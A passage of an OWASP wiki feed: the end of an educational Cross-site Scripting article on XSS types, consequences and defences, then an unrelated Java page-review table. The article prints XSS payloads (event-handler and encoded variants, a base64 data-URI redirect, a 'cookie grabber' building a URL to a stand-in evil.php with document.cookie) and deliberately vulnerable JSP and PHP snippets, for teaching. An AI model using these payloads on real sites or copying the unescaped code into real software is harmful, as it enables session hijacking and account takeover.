Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a &amp;quot;trusted&amp;quot; server.  Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.&lt;br /&gt;
&lt;br /&gt;
===Other Types of XSS Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
In addition to Stored and Reflected XSS, another type of XSS, [[DOM Based XSS]] was identified by [http://www.webappsec.org/projects/articles/071105.shtml Amit Klein in 2005]. OWASP recommends the XSS categorization as described in the OWASP Article: [[Types of Cross-Site Scripting]], which covers all these XSS terms, organizing them into a matrix of Stored vs. Reflected XSS and Server vs. Client XSS, where DOM Based XSS is a subset of Client XSS.&lt;br /&gt;
&lt;br /&gt;
====XSS Attack Consequences====&lt;br /&gt;
The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([[DOM Based XSS |or DOM Based]]). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose. For more information on these types of attacks see [[Content_Spoofing]].&lt;br /&gt;
&lt;br /&gt;
===How to Determine If You Are Vulnerable===&lt;br /&gt;
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.&lt;br /&gt;
&lt;br /&gt;
===How to Protect Yourself===&lt;br /&gt;
The primary defenses against XSS are described in the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet |OWASP XSS Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI |OWASP ESAPI project]] has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]] training application has lessons on Cross-Site Scripting and data encoding.&lt;br /&gt;
&lt;br /&gt;
===Alternate XSS Syntax===&lt;br /&gt;
====XSS using Script in Attributes====&lt;br /&gt;
&lt;br /&gt;
XSS attacks may be conducted without using &amp;lt;script&amp;gt;&amp;lt;/script&amp;gt; tags.&lt;br /&gt;
Other tags will do exactly the same thing, for example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;body onload=alert('test1')&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
or other attributes like: onmouseover, onerror.&lt;br /&gt;
&lt;br /&gt;
onmouseover&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;b onmouseover=alert('Wufff!')&amp;gt;click me!&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/prE&amp;gt;&lt;br /&gt;
onerror&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;img src=&amp;quot;http://url.to.file.which/not.exist&amp;quot; onerror=alert(document.cookie);&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====XSS using Script Via Encoded URI Schemes====&lt;br /&gt;
&lt;br /&gt;
If we need to hide against web application filters we may try to encode string characters, e.g.: a=&amp;amp;#X41 (UTF-8) and use it in&lt;br /&gt;
IMG tag:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;IMG SRC=j&amp;amp;#X41vascript:alert('test2')&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
There are many different UTF-8 encoding notations what give us even more possibilities.&lt;br /&gt;
&lt;br /&gt;
====XSS using code encoding====&lt;br /&gt;
&lt;br /&gt;
We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot;&lt;br /&gt;
CONTENT=&amp;quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
These and others examples can be found at the OWASP [[XSS Filter Evasion Cheat Sheet]] which is a true encyclopedia of the alternate XSS syntax attack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.&lt;br /&gt;
&lt;br /&gt;
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality. &lt;br /&gt;
&lt;br /&gt;
===Example 1=== &lt;br /&gt;
&lt;br /&gt;
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	&amp;lt;% String eid = request.getParameter(&amp;quot;eid&amp;quot;); %&amp;gt; &lt;br /&gt;
	...&lt;br /&gt;
	Employee ID: &amp;lt;%= eid %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.&lt;br /&gt;
&lt;br /&gt;
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
	&amp;lt;%... &lt;br /&gt;
	 Statement stmt = conn.createStatement();&lt;br /&gt;
	 ResultSet rs = stmt.executeQuery(&amp;quot;select * from emp where id=&amp;quot;+eid);&lt;br /&gt;
	 if (rs != null) {&lt;br /&gt;
	  rs.next(); &lt;br /&gt;
	  String name = rs.getString(&amp;quot;name&amp;quot;);&lt;br /&gt;
	%&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	Employee Name: &amp;lt;%= name %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a &amp;quot;guestbook&amp;quot; to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.&lt;br /&gt;
&lt;br /&gt;
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:&lt;br /&gt;
&lt;br /&gt;
* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities. &lt;br /&gt;
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. &lt;br /&gt;
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content. &lt;br /&gt;
&lt;br /&gt;
=== Attack Examples ===&lt;br /&gt;
&lt;br /&gt;
'''Example 1 : Cookie Grabber'''&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;
var adr = '../evil.php?cakemonster=' + escape(document.cookie);&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in &amp;quot;cakemonster&amp;quot; variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.&lt;br /&gt;
&lt;br /&gt;
===Error Page Example===&lt;br /&gt;
&lt;br /&gt;
Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error&lt;br /&gt;
page. We may use the code below as an example to inform user about what specific page is missing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;? php&lt;br /&gt;
print &amp;quot;Not found: &amp;quot; . urldecode($_SERVER[&amp;quot;REQUEST_URI&amp;quot;]);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Let's see how it works:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://testsite.test/file_which_not_exist&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In response we get:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not found: /file_which_not_exist&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now we will try to force the error page to include our code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://testsite.test/&amp;lt;script&amp;gt;alert(&amp;quot;TEST&amp;quot;);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The result is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not found: / (but with JavaScript code &amp;lt;script&amp;gt;alert(&amp;quot;TEST&amp;quot;);&amp;lt;/script&amp;gt;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We have successfully injected the code, our XSS! What does it mean? For example, that we&lt;br /&gt;
may use this flaw to try to steal a user's session cookie.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[XSS Attacks]]&lt;br /&gt;
* [[:Category:Injection Attack]]&lt;br /&gt;
* [[Invoking untrusted mobile code]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
* [[Cross Site Scripting Flaw]]&lt;br /&gt;
* [[Types of Cross-Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
* [[HTML Entity Encoding]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]&lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]] &lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]] &lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]&lt;br /&gt;
* OWASP's [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)]] &lt;br /&gt;
* Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS&lt;br /&gt;
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml &lt;br /&gt;
* OWASP [[XSS Filter Evasion Cheat Sheet]]&lt;br /&gt;
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html &lt;br /&gt;
* CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html &lt;br /&gt;
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html &lt;br /&gt;
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:OWASP Top Ten Project]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Popular]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=208880</id>
		<title>OWASP Java Project WIPRO 1 2015</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=208880"/>
				<updated>2016-02-14T11:52:53Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: /* Pages List */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;width:100%;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Java_Project_Header.png|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;font-size: 1.8em;&amp;quot;&amp;gt;Wiki Pages Review Operation - 2015/2016&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Main =&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;width:100%&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
91 Pages in category &amp;quot;OWASP Java Pages&amp;quot; have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome. &lt;br /&gt;
&lt;br /&gt;
Shared Google document used to comment and review:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Team ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
* Start: 12/2015&lt;br /&gt;
* Last Update: 12/2015&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
N/A&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Pages List =&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Page&lt;br /&gt;
! Status&lt;br /&gt;
! Review&lt;br /&gt;
! Operations&lt;br /&gt;
|- &lt;br /&gt;
|[[Bytecode obfuscation]]&lt;br /&gt;
|&lt;br /&gt;
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Captchas in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|Updated and not of interest. Marked for deletion.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Clickjacking Protection for Java EE]]&lt;br /&gt;
|&lt;br /&gt;
|Flagged for deletion, reason stated on page.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Command injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Comparing classes by name ]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Complejidad Y Longitud De Las Contraseñas ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Content Security Policy ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS OriginHeaderScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS RequestPreflighScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Cross-site Scripting (XSS) ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Declarative Access Control in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Decompiling Java bytecode]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Deserialization of untrusted data]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Detect profiling phase into web application]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Digital Signature Implementation in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Exception handling techniques ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Failure to follow guideline/specification ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hacking Java Clients ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hashing Java]]&lt;br /&gt;
| UNDER REVIEW&lt;br /&gt;
| The current version is unmaintained. Mark Gordon volountered to review the information, and bring it to the State-Of-The-Art-2015. Thank you!&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate-Guidelines ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to add validation logic to HttpServletRequest]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to encrypt a properties file ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Implementacion De Firmas Digitales en Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper Data Validation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper temp file opening ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Information Leakage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Randomness]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Transport]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insufficient Session-ID Length]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Invoking untrusted mobile code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Inyección De Comandos En Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE third party libraries insecurity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Timed Login Module ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Tomcat Login Module]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Project Article Wishlist ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Frameworks]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Resources ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Server Faces ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP errorPage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP JSTL ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Leftover Debug Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Log Forging ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Logout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Member Field Race Condition]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Missing Error Handling]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Mobile Java Security ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Null Dereference]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Often Misused: Authentication ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Catch Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Throws Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP CSRFGuard Project/es ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP Java Table of Contents]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Parameter Validation Filter]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password length &amp;amp; complexity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Hardcoded Password]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Weak Cryptography ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Plaintext Storage ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
